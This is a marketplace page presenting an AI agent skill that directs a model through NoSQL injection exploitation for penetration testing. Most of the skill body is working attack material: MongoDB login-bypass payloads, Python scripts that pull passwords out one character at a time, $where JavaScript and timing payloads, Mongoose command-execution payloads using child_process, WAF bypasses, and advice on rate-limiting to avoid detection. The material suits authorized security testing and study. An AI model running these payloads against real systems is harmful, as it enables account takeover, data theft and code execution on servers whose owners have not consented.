Nosql Injection logo

Nosql Injection

Organization
blacklanternsecurity
nosql-injection

Guide NoSQL injection exploitation during authorized penetration testing.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namenosql-injection
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Nosql Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/nosql-injection .claude/skills/nosql-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Nosql Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Nosql Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Nosql Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

NoSQL Injection

You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [nosql-injection] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • An input processed by a NoSQL database (URL param, form field, JSON body, GraphQL variable, API parameter)
  • Common indicators: MongoDB-style error messages (MongoError, $operator), JSON-based APIs, Node.js/Express backends, Mongoose ORM
  • Burp Suite with NoSQLi Scanner extension (optional)

Step 1: Assess

If not already provided, determine:

  1. Database — MongoDB (most common), CouchDB, or other
    • MongoDB: look for ObjectId, $operator in errors, Node.js stack
    • CouchDB: look for _rev, _id, Futon/Fauxton admin panels
  2. Injection format — URL-encoded parameters or JSON body
    • URL params with array notation: param[$ne]=value
    • JSON body: {"param": {"$ne": "value"}}
  3. Injection point — which parameter accepts operators
  4. Response behavior — different content for true/false conditions?

Quick Detection Probes

URL-encoded (test each parameter):

param[$ne]=test
param[$gt]=
param[$exists]=true

JSON body:

json
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}

If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.

Step 2: Authentication Bypass

The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.

URL-Encoded Bypass

bash
# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto

# Match all with regex
username[$regex]=.*&password[$regex]=.*

# Match any existing field
username[$exists]=true&password[$exists]=true

# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=

# Target specific user with wildcard password
username=admin&password[$ne]=wrong

# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong

JSON Body Bypass

json
{"username": {"$ne": null}, "password": {"$ne": null}}
json
{"username": {"$ne": ""}, "password": {"$ne": ""}}
json
{"username": {"$gt": ""}, "password": {"$gt": ""}}
json
{"username": "admin", "password": {"$ne": "wrong"}}
json
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

$or Bypass

json
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}

$in Operator — Enumerate Known Users

json
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}

$nin — Exclude Known Users to Find Others

bash
# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=

Step 3: Blind Data Extraction

When operator injection works but data isn't directly reflected, extract values character by character using $regex.

Determine Field Length

bash
# Test password length (adjust the number)
username=admin&password[$regex]=.{1}    # true if len >= 1
username=admin&password[$regex]=.{5}    # true if len >= 5
username=admin&password[$regex]=.{10}   # true if len >= 10
username=admin&password[$regex]=.{8}    # narrow down with binary search

Extract Value Character by Character

bash
# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.*    # true — first char is 'm'

# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.*   # true — second char is 'd'

# Continue until full value extracted
username=admin&password[$regex]=^mdp$   # exact match confirms

Automated Blind Extraction — JSON POST

python
import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while True:
    found = False
    for c in charset:
        if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
            c = '\\' + c  # escape regex metacharacters
        payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
            username, password + c)
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302 or 'dashboard' in r.text:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Automated Blind Extraction — URL-Encoded POST

python
import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"

while True:
    found = False
    for c in charset:
        payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Enumerate Usernames

Discover unknown usernames by brute-forcing the username field:

python
import requests
import string

url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"

def extract_usernames(prefix=""):
    usernames = []
    for c in charset:
        payload = {"username": {"$regex": f"^{prefix + c}"},
                   "password": {"$regex": ".*"}}
        r = requests.post(url, json=payload, allow_redirects=False)
        if r.status_code == 302:
            for u in extract_usernames(prefix + c):
                usernames.append(u)
    if not usernames and prefix:
        usernames.append(prefix)
    return usernames

for user in extract_usernames():
    print(f"[+] Found username: {user}")

Step 4: Server-Side JavaScript ($where)

MongoDB's $where operator accepts JavaScript. If injection reaches a $where clause, it's equivalent to code execution within the database context.

$where Authentication Bypass

bash
# SQL-style equivalents for $where context
' || 1==1//
' || 1==1%00
admin' || 'a'=='a

$where Data Extraction via Error

If the application reflects database errors:

json
{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}

Leaks the entire document (including password) in the error message.

$where Field Probing

bash
# Check if password field exists
/?search=admin' && this.password%00

# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00

Time-Based Blind ($where)

When no response difference is visible:

';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}

Loop-based delay (works when sleep() is disabled):

';it=new Date();do{pt=new Date();}while(pt-it<5000);'

If a 5-second delay is observed, $where execution is confirmed.

Mongoose RCE (CVE-2024-53900 / CVE-2025-23061)

Mongoose populate().match() forwards $where to Node.js instead of MongoDB, enabling OS command execution even when MongoDB's server-side JS is disabled:

bash
# RCE via populate match
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')

# Bypass for Mongoose 8.8.3-8.9.4 (nest under $or)
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')

Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.

Step 5: Advanced Techniques

Cross-Collection Access ($lookup)

If the injection reaches an aggregate() pipeline (not find()/findOne()), use $lookup to query other collections:

json
[
  {
    "$lookup": {
      "from": "users",
      "as": "leaked",
      "pipeline": [
        {
          "$match": {
            "password": {"$regex": "^.*"}
          }
        }
      ]
    }
  }
]

Returns documents from the users collection regardless of which collection the query originally targeted.

MongoLite Function Execution ($func)

PHP applications using Cockpit CMS (MongoLite library) support $func:

json
{"user": {"$func": "var_dump"}}

Executes arbitrary PHP functions with the field value as argument.

GraphQL Filter Injection

GraphQL resolvers that forward filter arguments to collection.find():

graphql
query {
  users(filter: { username: { "$ne": "" } }) {
    username
    email
  }
}

As a GraphQL variable:

json
{"f": {"$ne": {}}}

If the resolver does collection.find(args.filter) without sanitization, all documents are returned.

WAF Bypass — Duplicate Key

MongoDB uses the last value for duplicate keys:

json
{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}

WAF validates the first username (legitimate string), MongoDB uses the second (operator injection).

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

OPSEC Notes

  • Operator injection ($ne, $regex) generates standard queries — low detection risk in application logs
  • $where payloads execute JavaScript server-side — may be logged by MongoDB profiler and trigger anomaly detection
  • Blind extraction generates many requests (one per character) — use rate limiting in scripts to avoid detection
  • sleep() in $where blocks the MongoDB thread — can cause performance issues on production systems
  • Mongoose RCE payloads execute OS commands — visible in process monitoring

Troubleshooting

Operators Not Accepted

  • Check Content-Type: JSON body needs application/json, URL-encoded needs application/x-www-form-urlencoded
  • The app may use express-mongo-sanitize or strip $ prefixes — try without $: param[ne]=value (some frameworks add it back)
  • Try nested objects: {"param": {"$ne": ""}} vs flat param[$ne]=
  • The backend may use an ORM that validates types — try $exists which only needs a boolean

Blind Extraction Fails

  • Regex metacharacters must be escaped: \(, \), \., \*, \+, \?
  • Some characters break URL encoding — use JSON body instead
  • If $regex is blocked, try $where with this.field.match()
  • Response may not differ on true/false — check status code, response size, Set-Cookie headers, and redirect location

$where Blocked

  • MongoDB 7.0+ disables server-side JavaScript by default (--noscripting)
  • Try operator-only attacks ($ne, $regex, $gt) which don't need JS
  • Check for Mongoose populate().match() path (CVE-2024-53900) which executes $where in Node.js, not MongoDB

Automated Tools

bash
# NoSQLMap — automated enumeration and exploitation
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
  --requestdata "username=test&password=test" --injparam username

# nosqli — Go-based scanner
nosqli scan -t "http://TARGET/login" -p username,password

# Burp: Extensions → NoSQLi Scanner → right-click request → "Scan for NoSQLi"

Frequently asked questions

What does the Nosql Injection AI skill do?

Guide NoSQL injection exploitation during authorized penetration testing.

Why use Nosql Injection on TypingMind?

Because you install it once and use it with any model. Nosql Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Nosql Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/nosql-injection. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Nosql Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Nosql Injection?

As many as you like. As long as a model supports skills, you can use Nosql Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Nosql Injection AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇